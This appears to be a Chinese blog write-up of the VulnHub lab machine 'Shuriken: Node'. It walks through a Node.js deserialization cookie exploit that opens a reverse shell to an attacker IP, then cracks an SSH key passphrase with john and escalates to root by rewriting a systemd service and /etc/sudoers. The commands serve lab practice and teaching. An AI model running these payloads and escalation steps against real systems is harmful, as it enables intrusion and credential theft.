SHURIKEN: NODE 靶机渗透测试

靶机链接:

Shuriken: Node ~ VulnHub

渗透工具:

Get Kali | Kali Linux

渗透流程

此处省去部署的过程

目标探测

nmap 192.168.56.0/24  

192.168.56.x是我的虚拟机所在的网段

这个网段只有两台虚拟机,所以192.168.56.110就是要渗透的靶机。

这个靶机开放了http端口,尝试访问:

这是一个静态的页面,有一个登录的入口,除此之外没别的信息了,其他的网页扫描工具也扫不出来什么东西。

打开f12开发工具,检查网站的cookie:

发现刷新前后cookie相同,复制session值,对其进行URL解码后进行base64解码:

CyberChef

得到:

{"username":"Guest","isGuest":true,"encoding": "utf-8"}

将内容修改再编码:

替换原来的cookie,并刷新网站:

发现标题被改变,推测可能存在漏洞

漏洞利用

经过查找,发现了相关的漏洞利用:
Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX

大致思路就是利用了 Node.js 反序列化错误进行远程代码执行

首先利用脚本,填写攻击机ip和端口生成payload

Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course · GitHub

python3 nodejsshell.py 192.168.56.101 4444

补全json

{"rce":"_$$ND_FUNC$$_function (){生成的payload放在这里}()"}

base64+URL编码:

打开终端监听端口:

nc -lvnp 4444

将输出的cookie替换原来的cookie,刷新网页:
 

成功反弹shell

转换为交互式界面:

python3 -c 'import pty;pty.spawn("/bin/bash")'

提权

查看用户名,找到一个叫serv-adm 的用户:

检查是否有可用的备份文件

cd /var
ls -la

进入backups文件夹

cd backups
ls

观察到有 passwd.bak 和 shadow.bak 以及 ssh-backup.zip,但passwd.bak和shadow.bak无法打开,将 ssh-backup.zip 复制到 /tmp 目录中,并发送给kali

cp /var/backups/ssh-backup.zip /tmp
python3 -m http.server

kali接收:

http://192.168.56.110:8000/ssh-backup.zip

解压后得到一个私钥,对私钥进行解密:

ssh2john id_rsa > hash 
john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密钥密码:

shuriken1995@ 

尝试登陆:

ssh -i id_rsa serv-adm@192.168.56.110

输入密钥的密码,成功登录

查看当前用户权限:

sudo -l

发现两项特殊的服务,寻找并转到所在的位置:

locate shuriken-auto.timer

编辑:

nano shuriken-auto.timer

发现每30分钟运行shuriken-job.service,这里将频率改成一分钟一次

然后编辑shuriken-job.service,注释掉Type=oneshot,将执行的文件改为自己设定的文件

设置自定义文件,修改sudoers权限:

nano test.sh

保存,然后停止shuriken-auto.timer再执行shuriken-auto.timer,sudoers就可以被直接编辑,

/bin/systemctl stop shuriken-auto.timer
/bin/systemctl start shuriken-auto.timer
nano /etc/sudoers

添加一句:

serv-adm ALL=(ALL) NOPASSWD: /bin/bash

保存退出,然后将sudoers的权限改回440:

接下来就可以获取root权限:

sudo /bin/bash

获取flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值